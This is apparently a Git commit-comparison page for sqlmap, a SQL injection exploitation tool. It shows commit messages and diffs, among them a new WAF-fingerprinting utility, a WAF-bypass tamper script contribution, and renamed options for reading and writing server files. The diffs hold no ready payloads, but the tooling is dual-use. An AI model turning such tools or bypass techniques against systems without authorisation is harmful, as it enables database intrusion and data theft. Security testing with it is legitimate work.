Compare commits

..
155 Commits
Author SHA1 Message Date
Miroslav Stampar 66d26f67bf Manual tagging (automatic tagging failed for some reason) 2018-12-07 10:06:31 +01:00
Miroslav Stampar 101d1f0d49 Fixes #3395 2018-12-03 23:18:52 +01:00
Miroslav Stampar 843126702d Fixes #3392 2018-12-03 23:12:45 +01:00
Miroslav Stampar 65f227fe65 Bug fix (privately reported: --technique=E --where='id=1') 2018-12-03 23:07:13 +01:00
Miroslav Stampar 536d9a597e Minor language update 2018-12-03 22:59:46 +01:00
Miroslav Stampar 0ce2128a9b Fixes #3394 2018-12-03 22:40:44 +01:00
Miroslav Stampar e7ed2bbcbb Fixes #3391) 2018-11-30 11:29:17 +01:00
Miroslav Stampar 560ff4154b Fixes #3388 (and refactors #1578) 2018-11-29 00:09:05 +01:00
Miroslav Stampar 1d0d5f1675 Fixes #3389 2018-11-28 23:09:13 +01:00
Miroslav Stampar f1a3c81aec Bug fix for handling of custom headers 2018-11-28 00:29:17 +01:00
Miroslav Stampar 277a4fa402 Potential patch for #3167 2018-11-26 23:40:47 +01:00
Miroslav Stampar 037db0f4a0 Fixes #3381 2018-11-23 15:55:05 +01:00
Miroslav Stampar 3f1bf742fc Fixes #3379 2018-11-22 08:07:27 +01:00
Miroslav Stampar abb911d741 Just for the sake of #3377 2018-11-19 09:53:09 +01:00
Miroslav Stampar dc5edf1a86 Patch regarding #3377 2018-11-19 09:52:09 +01:00
Miroslav Stampar e11febdcbc Fixes #3375 2018-11-19 09:44:13 +01:00
Miroslav Stampar f2af8861f9 Some more updates regarding #3140 2018-11-15 17:13:13 +01:00
Miroslav Stampar 2895e5c20f Initial commit for #3140 2018-11-15 15:27:17 +01:00
Miroslav Stampar b1e8c75672 Update README.md 2018-11-14 12:59:40 +01:00
Miroslav Stampar 6cc52cc12a Fixes #3366 2018-11-12 14:07:41 +01:00
Miroslav Stampar ddf353b86e Fixes #3357 2018-11-04 14:36:38 +01:00
Miroslav Stampar e6535d359d Update related to the #3358 2018-11-04 14:17:53 +01:00
Miroslav Stampar 90e381a5a5 Another update related to the #3356 2018-11-02 16:18:08 +01:00
Miroslav Stampar e99e9919cd Update related to the #3356 2018-11-02 15:44:44 +01:00
Miroslav Stampar dbdfbcc425 Adding dates to the start/end time 2018-11-01 22:59:20 +01:00
Miroslav Stampar 1d6832a84a Cosmetic update (not patch) related to the #3354 2018-11-01 22:41:33 +01:00
Miroslav Stampar 73d83280fe Minor patch (bounded injection case with leftover marker) 2018-11-01 22:24:36 +01:00
Miroslav Stampar 1bd8c519c3 Minor just in case update 2018-10-30 15:41:39 +01:00
Miroslav Stampar a4fdbf1343 Patch related to the #3348 2018-10-30 11:13:09 +01:00
Miroslav Stampar 130879fbf3 Minor patches 2018-10-30 10:37:39 +01:00
Miroslav Stampar db5ae9ae0b Minor update to #3326 (adding generic code >= 400) 2018-10-29 09:55:14 +01:00
Syed Afzal cc4833429f added china cache (#3326) 2018-10-29 09:51:18 +01:00
Miroslav Stampar 703b7079a4 Fixes #3319 2018-10-27 14:30:28 +02:00
Miroslav Stampar ef52ee977f Minor patch 2018-10-27 14:14:21 +02:00
Miroslav Stampar ba1b4c50be Trivial cleanup 2018-10-26 23:40:08 +02:00
Miroslav Stampar 1e7dfe11b4 Fixes #3318 2018-10-26 23:38:37 +02:00
Miroslav Stampar 92febd22a8 Minor update 2018-10-26 23:01:19 +02:00
Miroslav Stampar 83081b5e14 Minor patch related to the #3316 2018-10-26 14:00:51 +02:00
Miroslav Stampar f2035145fe Another update related to the #3316 2018-10-26 12:10:22 +02:00
Miroslav Stampar 48b407c0fa Updates regarding the #3316 2018-10-26 12:09:21 +02:00
Jennifer Torres 4466504f30 Lua-Nginx WAFs Bypass (#3316)
* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py
2018-10-26 12:04:37 +02:00
Miroslav Stampar dc65afe65a Minor update related to the #3283 2018-10-24 16:33:23 +02:00
Miroslav Stampar 132e963b53 More general TypeMismatchException (for Hibernate too) 2018-10-24 15:12:13 +02:00
Miroslav Stampar f52beff7c3 Minor patch to handle late ImportError reports 2018-10-22 11:21:30 +02:00
Miroslav Stampar feb93dce44 Update related to the #3304 2018-10-17 12:24:52 +02:00
Miroslav Stampar e52422900e Fixes #3303 2018-10-16 19:37:27 +02:00
Miroslav Stampar c045afd842 Minor cleanup 2018-10-16 14:53:41 +02:00
Miroslav Stampar 0d2db32539 Finalizing #3283 2018-10-16 14:47:09 +02:00
Miroslav Stampar 77f4fd93e7 Minor leftover 2018-10-16 13:27:31 +02:00
Miroslav Stampar 68f5597b4a Some cleaning up for #3283 2018-10-16 13:26:55 +02:00
Miroslav Stampar 411f56e710 Initial implementation for #3283 2018-10-16 12:23:07 +02:00
Miroslav Stampar fb95ab8c17 Initial commit for #3283 (fixing H2 misidentification with PgSQL and/or HSQLDB) 2018-10-16 08:02:38 +02:00
Miroslav Stampar 9f6e04b141 Minor update of help text 2018-10-15 02:15:05 +02:00
Miroslav Stampar 1f2bdf5a3d Trivial message update 2018-10-15 00:56:23 +02:00
Miroslav Stampar 465a1e1a86 Minor update 2018-10-15 00:53:26 +02:00
Miroslav Stampar 6af127cb64 Fixes #3286 2018-10-14 22:17:10 +02:00
Miroslav Stampar 880d438418 Fixes #3284 2018-10-12 00:29:43 +02:00
Miroslav Stampar 5efe3228f8 Patch related to the #3282 2018-10-12 00:16:42 +02:00
Miroslav Stampar e005ba3f77 Minor patch 2018-10-11 23:59:09 +02:00
Miroslav Stampar f2b4dc3ffc Fixes #3275 2018-10-08 23:34:55 +02:00
Miroslav Stampar d1022f3f59 Fixes #3246 2018-10-04 13:51:41 +02:00
Miroslav Stampar 3984b94297 Fixes #3271 2018-10-04 13:42:13 +02:00
Miroslav Stampar eba01ee74e Just in case patch (for --api) 2018-10-03 12:46:40 +02:00
Miroslav Stampar 36b660309b Minor patch 2018-10-03 12:28:55 +02:00
Miroslav Stampar fd89fdf40b Minor cleaning up 2018-10-03 11:27:51 +02:00
Miroslav Stampar 2e53096962 Fixes #3268 2018-10-03 11:02:13 +02:00
Miroslav Stampar 79e45bd8d7 Minor update 2018-10-02 15:10:31 +02:00
Miroslav Stampar ed5f4abebd Minor updates 2018-10-02 14:56:20 +02:00
Miroslav Stampar 03bbfdbc56 Can't work out of the box (too many unknowns) 2018-10-02 14:11:26 +02:00
Miroslav Stampar 1b6365b195 Minor cleanup 2018-10-02 14:07:14 +02:00
Miroslav Stampar d38a0542d8 Minor update 2018-10-02 13:48:39 +02:00
Miroslav Stampar 9182b90b2b Removing an obsolete utility 2018-10-02 12:58:25 +02:00
Miroslav Stampar 80af22435a Update README.md 2018-10-02 12:21:29 +02:00
Miroslav Stampar 065c5e8157 Fixes #3264 2018-09-29 23:10:03 +02:00
Miroslav Stampar 932aa8dd94 Fixes #3262 2018-09-28 13:12:21 +02:00
Miroslav Stampar 71208e891c Update regarding #3258 2018-09-27 09:15:53 +02:00
Miroslav Stampar 3b369920a1 Minor patch related to the #3257 2018-09-26 15:33:34 +02:00
Miroslav Stampar 68a83098ab Update of THANKS (based on 2017 donation) 2018-09-25 14:06:32 +02:00
Miroslav Stampar f4a0820dcb Merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) 2018-09-24 14:00:58 +02:00
Miroslav Stampar 459e1dd9a4 Update related to the #3252 2018-09-24 10:26:27 +02:00
Miroslav Stampar 4b698748f7 Fixes #3247 2018-09-21 23:25:25 +02:00
Miroslav Stampar e697354765 Fixing non-resumal of MsSQL/Sybase/MaxDB enumeration queries 2018-09-21 23:06:45 +02:00
Miroslav Stampar 721046831b Minor patch 2018-09-21 22:15:29 +02:00
Miroslav Stampar a4068f9abf Minor update 2018-09-20 16:52:02 +02:00
Miroslav Stampar 245c5e64e9 Minor cleanup 2018-09-19 11:13:59 +02:00
Miroslav Stampar cd08d13647 Adding a generic parameter replace payload 2018-09-19 11:05:55 +02:00
Miroslav Stampar 8abae02111 Improvement of anti-CSRF token extraction 2018-09-18 22:05:52 +02:00
Miroslav Stampar dd9bfd13f2 Trivial update 2018-09-18 17:03:27 +02:00
Miroslav Stampar 0c7eecee9f Trivial update (message language) 2018-09-18 16:52:17 +02:00
Miroslav Stampar 3e72da66f9 Minor update (preventing WAF specific response reports on generic 403) 2018-09-18 16:45:08 +02:00
Miroslav Stampar ca9a56c0ff Minor update of WebKnight WAF script 2018-09-15 23:27:24 +02:00
Miroslav Stampar 2d2b20344d Minor patch for bigip WAF script 2018-09-15 23:17:32 +02:00
Miroslav Stampar a8a7dee800 Fixes #3239 2018-09-15 21:36:21 +02:00
Miroslav Stampar 35d9ed8476 Cleaning a mess with stacked queries and pre-WHERE boundaries 2018-09-14 10:30:58 +02:00
Miroslav Stampar a5e3dce26f Proper naming 2018-09-14 10:01:31 +02:00
Miroslav Stampar 71448b1c16 Minor refactoring 2018-09-14 09:45:04 +02:00
Miroslav Stampar a633bc7f32 Trivial cleanup 2018-09-13 11:41:19 +02:00
Miroslav Stampar 6697e49f75 Adding aesecure and crawlprotect WAF scripts 2018-09-13 11:09:32 +02:00
xxbing db8bcd1d2e update xforwarder tamper (#3236) 2018-09-13 10:50:58 +02:00
Miroslav Stampar 16c052ef13 Fixes #3234 (user entered input) 2018-09-12 14:39:07 +02:00
Miroslav Stampar a8c0722631 Minor update regarding #3230 2018-09-10 12:43:59 +02:00
Miroslav Stampar c9a73aeed1 Minor patch for #3226 2018-09-10 11:51:00 +02:00
Miroslav Stampar 470b68a83c Implementation for Issue #3226 2018-09-10 11:47:19 +02:00
Miroslav Stampar f01ae291f8 Update related to the #3231 2018-09-10 10:27:28 +02:00
Ehsan Nezami c36749c3bb add u_pass to columns (#3231) 2018-09-10 10:26:28 +02:00
Miroslav Stampar 63b84c31e5 Update regarding the #3229 2018-09-08 23:36:08 +02:00
Miroslav Stampar ec253dd5bd Support for table name retrieval from mysql.innodb_table_stats (fallback if primary fails) 2018-09-07 11:53:43 +02:00
Miroslav Stampar 4c25a20efc Docstring update and smalldict update (merge with top1575) 2018-09-07 11:23:47 +02:00
Miroslav Stampar 2b56bdfaa6 Patch for MsSQL column name injection 2018-09-06 13:59:07 +02:00
Miroslav Stampar c37014b8e8 Implementation for an Issue #647 2018-09-06 00:59:29 +02:00
Miroslav Stampar 349e9b9fa5 Minor commit related to the #120 2018-09-06 00:16:59 +02:00
Miroslav Stampar ac481492c0 Final commit for #120 2018-09-05 23:29:52 +02:00
Miroslav Stampar 91c5151770 Another update related to the #120 2018-09-05 00:56:39 +02:00
Miroslav Stampar ad5a731999 First commit for Issue #120 2018-09-05 00:16:35 +02:00
Miroslav Stampar 95be19a692 Minor update 2018-09-05 00:15:15 +02:00
Miroslav Stampar dbcf030743 Accepting even dummy (e.g.) 'y' for --answers 2018-09-04 23:30:58 +02:00
Miroslav Stampar fa3f3baf1e Minor update 2018-09-04 23:24:40 +02:00
Miroslav Stampar f125f64a80 Minor style update (marker for empty cracked password) 2018-09-04 23:14:25 +02:00
Miroslav Stampar 12012b36b1 Automatic disabling of socket-preconnect for known problematic server (SimpleHTTPServer) 2018-09-04 23:01:17 +02:00
Miroslav Stampar 43c9e21c56 Performance improvement and reducing number of false-positives in heavily dynamic pages 2018-09-04 22:39:07 +02:00
Miroslav Stampar a831865633 Further narrowing down cloudfront WAF script (less FP on detection) 2018-08-30 17:44:37 +02:00
Miroslav Stampar 578c41f6de Fine tuning Incapsula WAF script 2018-08-30 16:49:06 +02:00
Miroslav Stampar dc01f2e773 Fine tuning of Cloudfrount WAF script (less FP) 2018-08-30 16:42:35 +02:00
Miroslav Stampar db327a8538 Minor update of WAF scripts 2018-08-30 16:19:31 +02:00
Miroslav Stampar aefb815064 Cutting down FP on Varnish WAF (ignoring Varnish Cache) 2018-08-30 16:02:27 +02:00
Miroslav Stampar 014978cebc Fine tuning Cloudflare WAF script 2018-08-30 16:00:40 +02:00
Miroslav Stampar 287371337d Update of ZENEDGE WAF script 2018-08-30 15:56:13 +02:00
Miroslav Stampar 62a3618353 Minor patches 2018-08-30 15:50:17 +02:00
Miroslav Stampar 366a3f9336 Detect redirect from stdout 2018-08-30 15:21:46 +02:00
Miroslav Stampar 74d2b60cf3 Minor colorization of WAF Detectify 2018-08-30 15:18:42 +02:00
Miroslav Stampar 9e892e93f3 Created a WAF Detectify utility 2018-08-30 14:54:15 +02:00
Miroslav Stampar 0bbf5f9467 Update of dotDefender WAF script 2018-08-29 12:21:33 +02:00
Miroslav Stampar 8be4b29fd1 Update of Incapsula WAF script 2018-08-29 12:13:22 +02:00
Miroslav Stampar 0507234add Minor update 2018-08-29 11:06:45 +02:00
Miroslav Stampar c3d9a1c2d4 Airlock also uses AL_SESS-S cookie 2018-08-29 10:56:24 +02:00
Miroslav Stampar 9e8b28be7c Minor patch (e.g. case: user's) 2018-08-28 14:33:48 +02:00
Miroslav Stampar f3f4a4cb37 Minor refactoring 2018-08-28 14:31:20 +02:00
Miroslav Stampar 2280f3ff2d Updating old links 2018-08-28 14:13:48 +02:00
Miroslav Stampar d6cf038e48 Fixes #3216 2018-08-25 22:57:49 +02:00
Miroslav Stampar 2dfc383700 Fixes #3215 2018-08-22 17:58:00 +02:00
Miroslav Stampar f20e7b403a Fixes #3211 2018-08-22 10:41:43 +02:00
Miroslav Stampar 36e62fe8a7 Minor update 2018-08-22 10:20:26 +02:00
Miroslav Stampar 2542b6d241 Minor patch (https version of site is not available) 2018-08-20 19:44:25 +02:00
Miroslav Stampar bc13d8923b Adding long_description to PyPI upload script 2018-08-20 19:43:27 +02:00
Miroslav Stampar e51db6b355 Update README.md 2018-08-20 19:33:19 +02:00
Miroslav Stampar 6d28ca1f93 Bug fix (single-quoted strings in long results caused line breaks) 2018-08-18 00:02:39 +02:00
Miroslav Stampar 03e4741a69 Trivial patch (display of used user queries) 2018-08-17 19:45:34 +02:00
Miroslav Stampar b899ab9eb3 Bug fix (sha-256,sha384... were recognized, though, not cracked) 2018-08-13 15:27:08 +02:00
Miroslav Stampar 2e017eee99 Fixes #3203 2018-08-10 14:16:27 +02:00
Miroslav Stampar a296d22195 Fixes #3205 2018-08-10 14:01:55 +02:00
Miroslav Stampar ad11749b15 One more payload (requires usage of --code or similar) 2018-08-09 16:21:35 +02:00
Miroslav Stampar 75a64245c5 Minor patch for colorization (multiple quoted strings in same line) 2018-08-09 16:21:04 +02:00
Miroslav Stampar 9e00202823 Minor patch (use redirection code for comparison) 2018-08-09 15:39:37 +02:00
Miroslav Stampar df977d93d4 Fixes #3204 2018-08-09 15:08:21 +02:00
Miroslav Stampar b0ca52086a Fixes #3202 2018-08-07 23:35:58 +02:00
123 changed files with 2568 additions and 1000 deletions
+2 -2
View File
@@ -1,10 +1,10 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
Screenshots
----
+4 -4
View File
@@ -3,7 +3,7 @@
* Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports.
* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode.
* Added wordlist compilation made of the most popular cracking dictionaries.
* Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
* Added option `--csv-del` for manually setting delimiting character used in CSV output.
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
* Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
* Added option `--host` to set the HTTP Host header value.
* Added switch `--hostname` to turn on retrieval of DBMS server hostname.
* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
* Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
* Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
* Added option `--skip` to skip testing of given parameter(s).
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
* Added switch `--skip-urlencode` to skip URL encoding of payload data.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
+4
View File
@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
* for his great Metasploit WMAP Framework
Jennifer Torres, <jtorresf42(at)gmail.com>
* for contributing a tamper script luanginx.py
Sandro Tosi, <matrixhasu(at)gmail.com>
* for helping to create sqlmap Debian package correctly
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
Patrick Webster, <patrick(at)aushack.com>
* for suggesting an enhancement
* for donating to sqlmap development (from OSI.Security)
Ed Williams, <ed.williams(at)ngssecure.com>
* for suggesting a minor enhancement
-137
View File
@@ -1,137 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import os
import re
import urllib2
import urlparse
from xml.dom.minidom import Document
# Path to the XML file with signatures
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
def updateMSSQLXML():
if not os.path.exists(MSSQL_XML):
errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
print errMsg
return
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
print infoMsg
try:
req = urllib2.Request(MSSQL_VERSIONS_URL)
f = urllib2.urlopen(req)
mssqlVersionsHtmlString = f.read()
f.close()
except urllib2.URLError:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
warnMsg += " check your Internet connection and retry"
print warnMsg
return
releases = re.findall(r"class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
releasesCount = len(releases)
# Create the minidom document
doc = Document()
# Create the <root> base element
root = doc.createElement("root")
doc.appendChild(root)
for index in xrange(0, releasesCount):
release = releases[index]
# Skip Microsoft SQL Server 6.5 because the HTML
# table is in another format
if release == "6.5":
continue
# Create the <signatures> base element
signatures = doc.createElement("signatures")
signatures.setAttribute("release", release)
root.appendChild(signatures)
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
if index == releasesCount - 1:
stopIdx = len(mssqlVersionsHtmlString)
else:
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall(r"</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):
servicePack = servicePack[1:]
if "/" in servicePack:
servicePack = servicePack[:servicePack.index("/")]
if "(" in servicePack:
servicePack = servicePack[:servicePack.index("(")]
if "-" in servicePack:
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("TM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("+ ", "+")
servicePack = servicePack.replace(" +", "+")
if servicePack.endswith(" "):
servicePack = servicePack[:-1]
if servicePack and version:
# Create the main <card> element
signature = doc.createElement("signature")
signatures.appendChild(signature)
# Create a <version> element
versionElement = doc.createElement("version")
signature.appendChild(versionElement)
# Give the <version> elemenet some text
versionText = doc.createTextNode(version)
versionElement.appendChild(versionText)
# Create a <servicepack> element
servicepackElement = doc.createElement("servicepack")
signature.appendChild(servicepackElement)
# Give the <servicepack> elemenet some text
servicepackText = doc.createTextNode(servicePack)
servicepackElement.appendChild(servicepackText)
# Save our newly created XML to the signatures file
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
mssqlXml.close()
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
print infoMsg
if __name__ == "__main__":
updateMSSQLXML()
+3 -2
View File
@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
setup(
name='sqlmap',
version='$VERSION',
description="Automatic SQL injection and database takeover tool",
description='Automatic SQL injection and database takeover tool',
long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='[email protected], [email protected]',
url='https://sqlmap.org',
url='http://sqlmap.org',
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)',
packages=find_packages(),
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
pass
+119
View File
@@ -0,0 +1,119 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import cookielib
import glob
import httplib
import inspect
import os
import re
import subprocess
import sys
import urllib2
sys.dont_write_bytecode = True
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
TIMEOUT = 10
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
CACHE = {}
WAF_FUNCTIONS = []
def get_page(get=None, url=None, host=None, data=None):
key = (get, url, host, data)
if key in CACHE:
return CACHE[key]
page, headers, code = None, {}, httplib.OK
url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
if not url.startswith("http"):
url = "http://%s" % url
try:
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
conn = urllib2.urlopen(req, timeout=TIMEOUT)
page = conn.read()
headers = conn.info()
except Exception, ex:
code = getattr(ex, "code", None)
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
headers = ex.info() if hasattr(ex, "info") else {}
result = CACHE[key] = page, headers, code
return result
def colorize(message):
if not subprocess.mswindows and sys.stdout.isatty():
message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
return message
def main():
global WAF_FUNCTIONS
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
if len(sys.argv) < 2:
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
cookie_jar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
urllib2.install_opener(opener)
sys.path.insert(0, SQLMAP_DIR)
for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
dirname, filename = os.path.split(found)
dirname = os.path.abspath(dirname)
if filename == "__init__.py":
continue
if dirname not in sys.path:
sys.path.insert(0, dirname)
try:
if filename[:-3] in sys.modules:
del sys.modules[filename[:-3]]
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
except ImportError, msg:
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
_ = dict(inspect.getmembers(module))
if "detect" not in _:
exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
else:
WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
found = False
for function, product in WAF_FUNCTIONS:
if found and "unknown" in product.lower():
continue
if function(get_page):
print colorize("[!] WAF/IPS identified as '%s'" % product)
found = True
if not found:
print colorize("[o] nothing found")
print
if __name__ == "__main__":
main()
+4 -4
View File
@@ -140,11 +140,11 @@ def action():
conf.dbmsHandler.udfInjectCustom()
# File system options
if conf.rFile:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
if conf.fileRead:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
if conf.wFile:
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
# Operating system options
if conf.osCmd:
+42 -34
View File
@@ -13,6 +13,7 @@ import random
import re
import socket
import subprocess
import sys
import tempfile
import time
@@ -69,10 +70,12 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.enums import REDIRECTION
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE
@@ -87,9 +90,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
